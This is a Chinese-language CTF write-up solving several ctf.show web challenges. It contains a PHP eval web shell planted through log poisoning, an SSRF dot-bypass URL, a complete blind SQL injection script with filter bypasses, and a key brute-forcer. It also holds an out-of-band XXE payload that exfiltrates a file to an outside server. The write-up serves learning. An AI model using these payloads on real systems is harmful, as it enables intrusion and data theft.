文章目录
签到_观己(日志包含)
文件包含一般下面几种协议,不过这些协议这道题都用不起:
除了猜,还有日志包含。
首先访问file=/var/log/nginx/access.log看日志文件是否存在。
然后访问aaaaaaaaaaa,再查看日志文件,已经被记录到了日志文件中。
因为url中会被编码,所以在UA中加入一句话木马<?php @eval($_GET['pass']);?>
,成功写入日志。
随后蚁剑链接:http://0bb8f2b6-74cb-4fd9-860d-a4d246c8aa11.chall.ctf.show/?file=/var/log/nginx/access.log
拿到flag
web1_观字
这道题没做出来,只想到了把ip地址变为10进制访问,没想到过滤了0
学到一个新知识点:curl可以用句号。
代替点.
更多方法参考:url绕过这篇文章讲的很详细
访问url=http://192。168。7。68/flag
拿到flag。
web2_观星(SQL盲注中 = like ascii '的bypass)
这道题做出来了,直接用盲注脚本跑不出来
平时盲注语句:
^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web1'),{},1))>{})^1".format(i,mid)
fuzz一下发现过滤了, = like ascii '
- 逗号过滤,采用
substr((database())from({})for(1))
的形式 - 等号和like过滤,用
regxep
或者in
绕过 - ascii用
ord
代替 - 单引号用
16进制
绕过
最终脚本如下:
import requests
url = ' http://c71f4dd3-9252-4df2-8464-eb37db7be8ec.chall.ctf.show/index.php?id=1'
flag = ''
for i in range(1, 50):
high = 127
low = 32
mid = (high+low)//2
while high > low:
payload = "^(ord(substr((database())from({})for(1)))>{})^1".format(i, mid)
# payload = "^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))>{})^1".format(i,mid)
# payload = "^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))>{})^1".format(i,mid)
# payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
s = requests.get(url=url+payload)
if 'Rudyard' in s.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
print(mid)
flag += chr(mid)
print(flag)
web3_观图(openssl_encrypt解密+爆破key)
这道题没做出来,以为参数是base64没解码成功就没做了,不知道访问/showImage.php还能看到源码。
题目代码如下:
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
在写爆破解密脚本的时候遇到了以下问题:
解决:
然后php代码如下:
我也不知道这里RAND_MAX多大,反正$i不够就加,加到30000终于爆出来了。
<?php
$image = "Z6Ilu83MIDw=";
for($i=0;$i<30000;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,'jpg')|strpos($str,'png')|strpos($str,'gif')){
echo 'key:'.$key;
echo '<br>rand():'.$i;
$a = openssl_encrypt("config.php","bf-ecb",$key);
echo '<br>anser:'.$a;
echo '<br>file:'.$str;
break;
}
}
结果如下:
不过访问之后是这样的:
ctrl+s保存下来,把后缀改为php即可得到flag。
总结:
加密函数openssl_encrypt
openssl_encrypt($data, $method, $password)
- $data 加密明文
- $method 加密方法
- $passwd 加密密钥[密码]
解密函数
openssl_decrypt($data, $method, $password)
格式同上
rand()函数
本地测试:
<?php
$a=getrandmax();
echo $a;
?>
windows下的确为32767
linux下应该为2147483647(Ubuntu),不知道各发行版一不一样。
web4_观心
点击占卜时发现api.php
做题的时候就只发现了这些,但是不会用,后来看了wp才知道这是个xxe漏洞。
在vps上创建两个文件:test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://121.196.196.190/test.dtd">
%remote;%int;%send; ]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>
test.dtd
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
%p2;
然后访问即可:
膜拜大佬